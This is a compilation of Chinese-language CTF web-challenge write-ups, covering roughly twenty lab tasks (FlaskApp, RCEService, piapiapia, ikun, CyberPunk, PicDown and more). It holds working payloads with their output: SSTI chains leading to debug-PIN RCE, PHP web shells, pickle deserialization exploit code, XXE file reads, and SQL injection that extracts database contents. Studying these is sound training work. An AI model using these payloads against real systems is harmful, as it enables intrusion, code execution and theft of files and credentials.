[GYCTF2020]FlaskApp
decode路由存在SSTI,如果直接获取__subclasses__(),由于资源太多导致网站直接502了,尝试一次获取100个,找到os._wrap_close:
{{().__class__.__bases__[0].__subclasses__()[127]}}
e3soKS5fX2NsYXNzX18uX19iYXNlc19fWzBdLl9fc3ViY2xhc3Nlc19fKClbMTI3XX19
但是过滤了system,由于flask开启了debug,考虑获取PIN码,先获取_frozen_importlib位置:
{{().__class__.__bases__[0].__subclasses__()[75]}}
e3soKS5fX2NsYXNzX18uX19iYXNlc19fWzBdLl9fc3ViY2xhc3Nlc19fKClbNzVdfX0=
获取username:
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
e3soKS5fX2NsYXNzX18uX19iYXNlc19fWzBdLl9fc3ViY2xhc3Nlc19fKClbNzVdLl9faW5pdF9fLl9fZ2xvYmFsc19fLl9fYnVpbHRpbnNfX1snb3BlbiddKCcvZXRjL3Bhc3N3ZCcpLnJlYWQoKX19
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin flaskweb:x:1000:1000::/home/flaskweb:/bin/sh
获取/etc/machine-id:
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/machine-id').read()}}
e3soKS5fX2NsYXNzX18uX19iYXNlc19fWzBdLl9fc3ViY2xhc3Nlc19fKClbNzVdLl9faW5pdF9fLl9fZ2xvYmFsc19fLl9fYnVpbHRpbnNfX1snb3BlbiddKCcvZXRjL21hY2hpbmUtaWQnKS5yZWFkKCl9fQ==
1408f836b0ca514d796cbf8960e45fa1
获取uuidnode:
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/sys/class/net/eth0/address').read()}}
e3soKS5fX2NsYXNzX18uX19iYXNlc19fWzBdLl9fc3ViY2xhc3Nlc19fKClbNzVdLl9faW5pdF9fLl9fZ2xvYmFsc19fLl9fYnVpbHRpbnNfX1snb3BlbiddKCcvc3lzL2NsYXNzL25ldC9ldGgwL2FkZHJlc3MnKS5yZWFkKCl9fQ==
d2:7b:56:a5:0e:2d 对应十进制数值为231427176468013
报错获取app.py绝对路径:
/usr/local/lib/python3.7/site-packages/flask/app.py
算出PIN码255-971-270,访问console路由进行rce:
__import__('os').popen('cat /this_is_the_flag.txt').read()
'flag{df780c8c-7265-468e-bfce-c04079d78e67}\n'
参考文章:
https://www.freebuf.com/articles/web/359392.html
https://xz.aliyun.com/news/2235#toc-2
[FBCTF2019]RCEService
原题给了源码:
<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>
由于preg_match匹配开头和结尾为除换行符以外的所有字符,所以可以尝试换行符%0A绕过:
?cmd={%0a"cmd":"ls%20/"%0a}
匹配到开头为{,中间为%0a,由于后面还有一个%0a,不满足.*$,所以匹配结果为false,但是php的preg_match好像不会管字符串最后的换行符
找出flag位置,由于设置了PATH,用绝对路径执行命令即可:
?cmd={%0a"cmd":"ls%20/home/rceservice"%0a}
flag
jail
?cmd={%0a"cmd":"/bin/cat%20/home/rceservice/flag"%0a}
flag{24ba5085-75cf-45bd-aef3-46ffa53a6018}
[Zer0pts2020]Can you guess it?
<?php
include 'config.php'; // FLAG is defined in config.php
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}
$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>
利用basename的漏洞:
/index.php/config.php/%ff?source
<?php
define('FLAG', 'flag{f7488202-3627-4482-8c75-39fa925f8d72}');
参考文章:
https://blog.51cto.com/xunansec/5356203
[0CTF 2016]piapiapia
www.zip源码泄露
index.php:
<?php
require_once('class.php');
if($_SESSION['username']) {
header('Location: profile.php');
exit;
}
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password'];
if(strlen($username) < 3 or strlen($username) > 16)
die('Invalid user name');
if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');
if($user->login($username, $password)) {
$_SESSION['username'] = $username;
header('Location: profile.php');
exit;
}
else {
die('Invalid user name or password');
}
}
else {
?>
register.php:
<?php
require_once('class.php');
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password'];
if(strlen($username) < 3 or strlen($username) > 16)
die('Invalid user name');
if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');
if(!$user->is_exists($username)) {
$user->register($username, $password);
echo 'Register OK!<a href="index.php">Please Login</a>';
}
else {
die('User name Already Exists');
}
}
else {
?>
update.php:
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>
profile.php:
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
class.php:
<?php
require('config.php');
class user extends mysql{
private $table = 'users';
public function is_exists($username) {
$username = parent::filter($username);
$where = "username = '$username'";
return parent::select($this->table, $where);
}
public function register($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$key_list = Array('username', 'password');
$value_list = Array($username, md5($password));
return parent::insert($this->table, $key_list, $value_list);
}
public function login($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
if ($object && $object->password === md5($password)) {
return true;
} else {
return false;
}
}
public function show_profile($username) {
$username = parent::filter($username);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
public function __tostring() {
return __class__;
}
}
class mysql {
private $link = null;
public function connect($config) {
$this->link = mysql_connect(
$config['hostname'],
$config['username'],
$config['password']
);
mysql_select_db($config['database']);
mysql_query("SET sql_mode='strict_all_tables'");
return $this->link;
}
public function select($table, $where, $ret = '*') {
$sql = "SELECT $ret FROM $table WHERE $where";
$result = mysql_query($sql, $this->link);
return mysql_fetch_object($result);
}
public function insert($table, $key_list, $value_list) {
$key = implode(',', $key_list);
$value = '\'' . implode('\',\'', $value_list) . '\'';
$sql = "INSERT INTO $table ($key) VALUES ($value)";
return mysql_query($sql);
}
public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/'; // $escape = '/\|\\\\/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i'; // $safe = '/select|insert|update|delete|where/i';
return preg_replace($safe, 'hacker', $string);
}
public function __tostring() {
return __class__;
}
}
session_start();
$user = new user();
$user->connect($config);
PHP版本为5.6.40,主要关注update.php中的序列化,profile.php中的反序列化以及class.php中的filter函数,登录注册等页面都不存在sql注入。尝试在profile.php中获取到config.php的文件内容,但是update.php中的photo无法通过传参控制,结合class.php中filter函数对过滤字符where更换为hacker的操作,导致字符变多,考虑利用 数组绕过preg_match+数组绕过strlen+字符串逃逸 的方法在nickname处恶意构造序列化字符串:
------geckoformboundary1ede678c1f95225cf35256bb0ab372c1
Content-Disposition: form-data; name="phone"
12345678901
------geckoformboundary1ede678c1f95225cf35256bb0ab372c1
Content-Disposition: form-data; name="email"
114514@qq.com
------geckoformboundary1ede678c1f95225cf35256bb0ab372c1
Content-Disposition: form-data; name="nickname[]"
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
------geckoformboundary1ede678c1f95225cf35256bb0ab372c1
Content-Disposition: form-data; name="photo"; filename="test.php"
Content-Type: application/php
testtesttest
------geckoformboundary1ede678c1f95225cf35256bb0ab372c1--
访问profile.php就可以获取base64数据流,解码可得config.php:
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = 'qwertyuiop';
$config['database'] = 'challenges';
$flag = 'flag{4ca493b0-6039-4a8e-9dae-6dd61a58d279}';
?>
[SUCTF 2019]Pythonginx
本题的环境好像已经无法获取flag了
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333
idna解析非ascii字符标准化问题:
file://suctf.ⅽc/../../../etc/passwd
相关工具:
参考文章:
https://www.tr0y.wang/2020/08/18/IDN/
[MRCTF2020]套娃
$query = $_SERVER['QUERY_STRING'];
if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}
传参中不能出现下划线,但是php有将特殊符号参数名解析为下划线的特性,preg_match默认单行匹配不会匹配结尾的%0a即换行符:
?b+u+p+t=23333%0A
或?b u p t=23333%0A
how smart you are ~
FLAG is in secrettw.php
secrettw.php页面源码注释中有一段jsfuck,控制台运行一下:
post me Merak
secrettw.php:
<?php
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';
if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>
测试可知getIP检测的是Client-IP头:
?2333=data://,todat%20is%20a%20happy%20day&file=ZmpdYSZmXGI=
Flag is here~But how to get it?Local access only!<br/>Your REQUEST is:flag.php<?php
$flag = 'flag{902b4616-9d7d-49a9-9b98-1b5b1a15833a}';
echo "Flag is here~But how to get it?";
?>
参考文章:
https://www.cnblogs.com/hithub/p/16804708.html
[CSCCTF 2019 Qual]FlaskLight
<!-- Parameter Name: search -->
<!-- Method: GET -->
测试了一下得知是python2:
waf过滤了global和system,用request.arg来绕过:
?search={{()[request.args.v1][request.args.v2][-1][request.args.v3]()[58][request.args.v4][request.args.v5][request.args.v6][request.args.v7](request.args.v8)}}&v1=__class__&v2=__mro__&v3=__subclasses__&v4=__init__&v5=__globals__&v6=__builtins__&v7=eval&v8=__import__("os").popen("cat /fla*/coomme_geeeett_youur_flek").read()
flag{b658a75b-8b7e-4298-907f-b06701d89bf8}
[watevrCTF-2019]Cookie Store
Cookie中的session只经过base64编码,解码可得明文内容,伪造money:100即可,购买flag:
Set-Cookie: session=eyJtb25leSI6IDAsICJoaXN0b3J5IjogWyJZdW1teSBjaG9jb2xhdGUgY2hpcCBjb29raWUiLCAiZmxhZ3szMTM2YTZmNC03YjhlLTQ0MmUtYjFiYy00NzcyNzFlNzJkMDd9XG4iXX0=;
{"money": 0, "history": ["Yummy chocolate chip cookie", "flag{3136a6f4-7b8e-442e-b1bc-477271e72d07}\n"]}
[WUSTCTF2020]CV Maker
登录成功后有个文件上传,上传空文件可以看到warning:
Warning: exif_imagetype(): Filename cannot be empty in /var/www/html/profile.php on line 76
查了一下exif_imagetype(),这个函数通过读取图像的前几个字节并检查其签名来工作,上传一句话木马:
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: application/gif
GIF89a<?php @eval($_POST["shell"]); ?>
蚁剑连上拿flag:flag{c976d3cc-196a-4b97-b6be-b4a8911c6e7d}
[CISCN2019 华北赛区 Day1 Web2]ikun
网页中有一段话:
ikun们冲鸭,一定要买到lv6!!!
尝试先找到lv6的page页数:
import requests
url = "http://49170cc3-3b88-4c25-972e-e197bf95c016.node5.buuoj.cn:81/shop"
for i in range(500):
params = {"page":f"{i}"}
resp = requests.get(url, params)
if ("/static/img/lv/lv6.png" in resp.text):
print("Found page: " + str(i))
# Found page: 181
购买前需要登录,直接买钱是不够的,抓包看一下,发现可以改折扣:
_xsrf=2%7C807606a1%7C9140beb256c835e2363761153abb462b%7C1755505534&id=1624&price=1145141919.0&discount=0.00000001
之后会跳转到:/b1g_m4mber,不过只有admin才能访问,尝试伪造JWT,尝试爆破得到密钥:1Kun,修改username为admin:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo
网页源码给出了提示,存在备份文件:
<a href="/static/asd1f654e683wq/www.zip" ><span style="visibility:hidden">删库跑路前我留了好东西在这里</span></a>
Admin.py中存在pickle反序列化漏洞:
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib
class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')
@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)
python2环境,exp.py:
import pickle
from urllib import quote
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload())
a = quote(a)
print(a)
补上_xsrf,传参become=c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.
flag{e5e38db3-dd24-4248-81f0-02e9ae2fe8f0}
[红明谷CTF 2021]write_shell
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}
过滤了eval还有下划线导致一句话木马和许多执行系统命令的函数无法使用,同时过滤了php导致常规的<?php ?>无法写入文件,想到两种方法绕过
方法一:短标签+assert+hex2bin构造一句话木马
<?=assert(hex2bin("6576616c28245f524551554553545b277368656c6c275d293b"))?>
即<?=assert(eval($_REQUEST['shell']);)?>
蚁剑连上找到flag:flag{ba1d16ab-0fef-46cb-977c-3f2aea47a494}
方法二:短标签+反引号执行系统命令并返回结果+%09绕过空格
<?=`cat%09/flllllll1112222222lag`?>
[RCTF2015]EasySQL
修改密码处存在报错注入,username是双引号闭合的,注册时进行注入即可,过滤了空格 and or mid left right substring:
114"||updatexml(1,concat(0x7e,database()),1)#
XPATH syntax error: '~web_sqli'
114"||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1)#
XPATH syntax error: '~article,flag,users'
114"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))),1)#
XPATH syntax error: '~flag'
114"||updatexml(1,concat(0x7e,(select(flag)from(flag))),1)#
XPATH syntax error: '~RCTF{Good job! But flag not her'
114"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1)#
XPATH syntax error: '~name,pwd,email,real_flag_1s_her'
114"||updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('flag'))),1)#
XPATH syntax error: '~flag{6c7b5915-cce7-456b-895e-1c'
114"||updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('flag')))),1)#
XPATH syntax error: '~}a64df4b619c1-e598-b654-7ecc-51'
flag{6c7b5915-cce7-456b-895e-1c916b4fd46a}
[GWCTF 2019]枯燥的抽奖
check.php:
<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}
mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";
if(isset($_POST['num'])){
if($_POST['num']===$str){x
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>";
}
}
show_source("check.php");
使用php_mt_seed工具,生成该工具参数所需的格式:
d = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
c = 'Z1wu33G2yq'
output = ''
for s in c:
output += str(d.index(s)) + ' ' + str(d.index(s)) + ' 0 61 '
print(output)
$ ./php_mt_seed 60 60 0 61 37 37 0 61 16 16 0 61 53 53 0 61 33 33 0 61 33 33 0 61 20 20 0 61 6 6 0 61 11 11 0 61 61 61 0 61
Pattern: EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62
Version: 3.0.7 to 5.2.0
Found 0, trying 0xe0000000 - 0xffffffff, speed 2505.4 Mseeds/s
Version: 5.2.1+
Found 0, trying 0x00000000 - 0x0fffffff, speed 0.0 Mseeds/s
seed = 0x013e80f3 = 12559208 (PHP 7.1.0+)
Found 1, trying 0xb0000000 - 0xbfffffff, speed 210.6 Mseeds/s
根据seed生成20位字符串:
<?php
mt_srand(12559208);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 20);
echo $str_show;
?>
Z1wu33G2yq3xInpVgJAj,抽奖,就是那么枯燥且无味,给你flag{5fe58a16-cc68-47aa-9811-a11f87a7b657}
[NCTF2019]True XML cookbook
存在XXE外部实体注入漏洞:
<!DOCTYPE a [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<user><username>&file;</username><password>114514</password></user>
用php伪协议读取doLogin.php源码:
<!DOCTYPE a [
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/doLogin.php">
]>
<user><username>&file;</username><password>114514</password></user>
doLogin.php:
<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/
$USERNAME = 'admin'; //账号
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //密码
$result = null;
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
try{
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$username = $creds->username;
$password = $creds->password;
if($username == $USERNAME && $password == $PASSWORD){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
}else{
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
}
}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}
header('Content-Type: text/html; charset=utf-8');
echo $result;
?>
获取/proc/net/fib_trie,探测内网ip:10.244.166.236的C段,爆破得到flag
[CISCN2019 华北赛区 Day1 Web5]CyberPunk
页面注释有个file,存在文件包含,php伪协议读取源码
index.php:
<?php
ini_set('open_basedir', '/var/www/html/');
// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
echo('no way!');
exit;
}
@include($file);
}
?>
search.php:
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
if(!$row) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
change.php:
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
delete.php:
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单删除成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
config.php:
<?php
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
$DATABASE = array(
"host" => "127.0.0.1",
"username" => "root",
"password" => "root",
"dbname" =>"ctfusers"
);
$db = new mysqli($DATABASE['host'],$DATABASE['username'],$DATABASE['password'],$DATABASE['dbname']);
change.php中未对address进行过滤,尝试注入点为address的二次注入+报错注入,用户权限为root,可以load_file:
1"' and updatexml(1,concat(0x7e,database()),1)#
errorXPATH syntax error: '~ctfusers'
1"' and updatexml(1,concat(0x7e,(select load_file("/flag.txt"))),1)#
errorXPATH syntax error: '~flag{9f15a769-7b93-45f5-add5-3d'
1"' and updatexml(1,concat(0x7e,substr((select load_file("/flag.txt")),30)),1)#
errorXPATH syntax error: '~3dbf4a23b76f}
flag{9f15a769-7b93-45f5-add5-3dbf4a23b76f}
[网鼎杯 2020 白虎组]PicDown
url是个任意文件读取,先从环境变量获取工作目录/proc/self/environ:
PWD=/app
/app/app.py:
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib
app = Flask(__name__)
SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)
@app.route('/')
def index():
return render_template('search.html')
@app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url)
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"
return render_template('search.html', res=value)
@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"
return res
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)
未关闭SECRET_FILE的文件流,利用fd仍然可以读取该文件内容,/proc/self/fd/3:
PExSWPFkA1V0CvVHVBjiLwoewfZT8tz2ERO30FehoiQ=
os.system命令执行的结果不会输出到网页,尝试将命令结果保存到/tmp目录下:
ls / | cat > /tmp/1.txt
发现根目录下有flag文件:flag{76d21877-ab9e-41dd-973e-28ac68487ed4}
[b01lers2020]Welcome to Earth
一直跳转,看每个网页的js和源码就行,/static/js/fight.js:
// Run to scramble original flag
//console.log(scramble(flag, action));
function scramble(flag, key) {
for (var i = 0; i < key.length; i++) {
let n = key.charCodeAt(i) % flag.length;
let temp = flag[i];
flag[i] = flag[n];
flag[n] = temp;
}
return flag;
}
function check_action() {
var action = document.getElementById("action").value;
var flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"];
// TODO: unscramble function
}
看格式猜出flag:pctf{hey_boys_im_baaaaaaaaaack!}
October 2019 Twice SQL Injection
二次注入,登录成功有个Info,猜测后端语句是:
select Info from table_name where username=''
或select Info from table_name where username='' and password=''
注册用户时将username设置为联合注入语句:
username=1' union select database() #
ctftraining
username=1' union select group_concat(table_name) from information_schema.tables where table_schema=database() #
flag,news,users
username=1' union select group_concat(column_name) from information_schema.columns where table_name='flag' #
flag
username=1' union select flag from flag #
flag{5bbcd66f-a075-4532-bfce-6aa8642e41f3}
也可以先看看sql用户权限,如果是root直接可以load_file:
username=1' union select user() #
root@localhost
username=1' union select load_file('/var/www/html/index.php') #
index.php:
<?php
error_reporting(0);
session_start();
/**
* Database mysql
*/
$db_host = "127.0.0.1";
$db_user = $db_pass = "root";
$db_name = "ctftraining";
$conn = mysql_connect($db_host, $db_user, $db_pass) or die('Could not connect: ' . mysql_error());
mysql_select_db($db_name, $conn) or die('Could select database: ' . mysql_error());
register_shutdown_function(function () {
global $conn;
mysql_close($conn);
});
function query($sql) {
$result = mysql_query($sql);
$rows = mysql_fetch_assoc($result);
return $rows;
}
/**
* Main
*/
